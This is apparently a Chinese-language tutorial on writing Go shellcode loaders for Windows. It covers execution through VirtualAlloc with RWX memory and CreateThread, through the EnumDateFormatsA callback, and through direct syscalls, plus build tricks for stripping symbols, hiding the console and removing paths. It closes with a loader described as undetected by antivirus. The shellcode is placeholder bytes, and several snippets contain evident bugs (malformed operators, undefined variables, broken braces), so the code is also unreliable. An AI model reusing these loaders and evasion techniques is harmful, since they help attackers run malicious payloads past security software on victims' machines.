Go语言加载器编写
加载运行
调用Windows API运行
在Windows中,VirtualAlloc、VirtualProtect、CreateThread等函数都是在kernel32.dll中导出的。对于RtlMoveMemory,它是在ntdll.dll中导出的。由于Go编译器的一些限制,它不能直接从ntdll.dll中导入RtlMoveMemory
创建线程运行
package main
import (
"syscall"
"unsafe"
)
func main() {
// 1. 加载 kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// RtlMoveMemory 由 ntdll.dll 导出,单独加载 ntdll
ntdll := syscall.MustLoadDLL("ntdll.dll")
// 2. 从对应 DLL 句柄中获取所需 Windows API 地址
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")
CreateThread := kernel32.MustFindProc("CreateThread")
WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
CloseHandle := kernel32.MustFindProc("CloseHandle") // 显式获取 CloseHandle API 地址
// 3. Go 中定义保存 shellcode 的字节切片 (此处替换为实际 shellcode 字节)
byteSlice := []byte{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
// ... 填充完整的 Shellcode 数组
}
// 4. 申请内存区域
// MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000) = 0x3000
// PAGE_EXECUTE_READWRITE = 0x40
addr, _, _ := VirtualAlloc.Call(
0,
uintptr(len(byteSlice)),
0x3000,
0x40,
)
if addr == 0 {
return
}
// 5. 将 Shellcode 复制到申请的动态内存中
RtlMoveMemory.Call(
addr,
uintptr(unsafe.Pointer(&byteSlice[0])),
uintptr(len(byteSlice)),
)
// 6. 创建线程执行 Shellcode
thread, _, _ := CreateThread.Call(
0,
0,
addr,
0,
0,
0,
)
if thread == 0 {
return
}
// 7. 等待线程执行结束,避免主进程提前挂起/退出
// INFINITE = 0xFFFFFFFF
WaitForSingleObject.Call(thread, 0xFFFFFFFF)
// 8. 释放创建的线程内核对象句柄
CloseHandle.Call(thread)
}
回调函数运行
package main
import (
"syscall"
"unsafe"
)
func main() {
// 1. 加载 kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// RtlMoveMemory 由 ntdll.dll 导出,单独加载 ntdll
ntdll := syscall.MustLoadDLL("ntdll.dll")
// 2. 获取 Windows API 导出函数
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")
EnumDateFormatsA := kernel32.MustFindProc("EnumDateFormatsA")
// 3. 定义 Shellcode 字节数组(示例为 Payload 占位)
sc := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, /* ... 其余 Shellcode 数据 ... */}
// 4. 申请可读可写可执行(RWX)的内存空间
// MEM_COMMIT | MEM_RESERVE = 0x1000 | 0x2000 = 0x3000
// PAGE_EXECUTE_READWRITE = 0x40
addr, _, _ := VirtualAlloc.Call(
0,
uintptr(len(sc)),
0x3000,
0x40,
)
if addr == 0 {
return
}
// 5. 将 Shellcode 复制至申请到的内存空间中
RtlMoveMemory.Call(
addr,
uintptr(unsafe.Pointer(&sc[0])),
uintptr(len(sc)),
)
// 6. 利用回调函数 EnumDateFormatsA 触发 Shellcode 执行
// EnumDateFormatsA 的第一个参数lpDateFmtEnumProc为回调函数指针,我们将 addr 转为 uintptr 传入
// 第二个参数 Locale 设置为 LOCALE_USER_DEFAULT (0x0400)
// 第三个参数 dwFlags 设置为 DATE_SHORTDATE (0x00000001)
EnumDateFormatsA.Call(
addr,
0x0400,
0x00000001,
)
}
系统调用运行
package main
import (
"syscall"
"unsafe"
)
func main() {
// 1. 加载 kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// RtlMoveMemory 由 ntdll.dll 导出,单独加载 ntdll
ntdll := syscall.MustLoadDLL("ntdll.dll")
// 2. 获取 Windows API 导出函数
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")
sc := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, /* ... 其余 Shellcode 数据 ... */}// 3. 定义 Shellcode 字节数组(示例为 Payload 占位)
addr, _, _ := VirtualAlloc.Call(
0,
uintptr(len(sc)),
0x3000,
0x40,
)
// 4. 复制sc到申请的内存中
RtlMoveMemory.Call(
addr,
uintptr(unsafe.Pointer(&sc[0])),
uintptr(len(sc)),
)
// 5. 回调函数调用
syscall.syscallN(addr)
// 6. 关闭DLL
kernel32.Release()
}
编译技巧
参数
go build [-o output] [build flags] [packages]
普通编译命令
go help build
go build main.go
减小体积编译
go build -ldflags="-w -s" main.go
-ldflags="-w -s"用于传递链接器标志给Go工具链中的链接器。具体来说,-w和-s是两个链接器标志,它们的作用分别是:
-w(Disable DWARF Generation)- 作用:关闭 DWARF(Debugging With Attributed Record Formats)调试信息的生成。
- 影响:移除符号表中的调试数据。这意味着编译后的二进制文件将无法使用 GDB、Delve 等调试器进行源码级调试,且在发生 panic 时,堆栈追踪(Stack Trace)中可能无法精确还原文件名与行号。
- 效果:显著降低可执行文件体积,且不影响程序的正常功能逻辑。
-s(Disable Symbol Table Generation)- 作用:去除符号表(Symbol Table)及位置信息(Line Information)。
- 影响:剥离二进制文件中的符号名称。这不仅能进一步缩减体积,还会增加逆向工程(如使用 IDA Pro、Ghidra 等工具)的分析难度,对代码起到初步的隐蔽与抗分析效果。
- 效果:配合
-w使用时可达到最大的原生体积压缩比。
去除黑窗口
// 第一种
go build -ldflags="-w -s -H windowsgui" main.go
// 第二种
package main
import "github.com/lxn/win"
func main(){
win.ShowWindows(win.GetConsoleWindows(),win.SW_HIDE)
}
// 第三种
package main
import (
"github.com/gonutz/ide/w32"
)
// HideConsole 动态隐藏当前进程的控制台窗口
func HideConsole() {
// 获取当前进程关联的控制台窗口句柄 (HWND)
console := w32.GetConsoleWindow()
if console != 0 {
_,consoleProcID:=w32.GetWindowThreadProcessId(console)
if w32.GetCurrentProcessId()==consoleProcID{
w32.ShowWindowAsync(console,commandShow)
}
}
func main() {
HideConsole() // 程序启动时立即隐藏窗口
// 业务逻辑代码...
select {}
}
}
通过PE-bear去除黑窗口
找到DOS Header窗口,将Subsystem改为2即可
删除路径信息
-trimpath
- 绝对路径替换为相对模块路径(Module Path):
- 将本地绝对路径统一替换为相对于 Go 模块根目录(
go.mod所在位置)的模块路径或包名(如main.go或[github.com/user/repo/pkg/foo.go](https://github.com/user/repo/pkg/foo.go))。 - 对于 Go 标准库(Standard Library),绝对路径会被替换为简短的
runtime/proc.go或fmt/print.go等相对路径形式。
- 将本地绝对路径统一替换为相对于 Go 模块根目录(
- 重写 DWARF 与符号表数据:
- 编译器会将源码位置映射表(Line Table)和 DWARF 调试符号中的绝对路径信息抹去,代之以格式化后的相对路径。
- 消除 Panic Stack Trace 中的敏感信息:
- 程序触发运行时崩溃(Panic)时,控制台打印的堆栈调用信息将不再暴露开发者的本地盘符和目录结构,仅展示干净的模块相对路径。
X步全绿加载器
package main
import (
_ "github.com/spf13/cobra" //改变文件结构
"os"
"syscall"
"unsafe"
)
func main(){
byteSlice,err:=os.ReadFile("x.tdet")
if err!!=nil{
return
}
// 1. 加载 kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// RtlMoveMemory 由 ntdll.dll 导出,单独加载 ntdll
ntdll := syscall.MustLoadDLL("ntdll.dll")
// 2. 获取 Windows API 导出函数
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")
addr, _, _ := VirtualAlloc.Call(
0,
uintptr(len(sc)),
0x1000,
0x40,
)
// 4. 复制sc到申请的内存中
RtlMoveMemory.Call(
addr,
uintptr(unsafe.Pointer(&sc[0])),
uintptr(len(sc)),
)
// 5. 回调函数调用
syscall.syscallN(addr)
}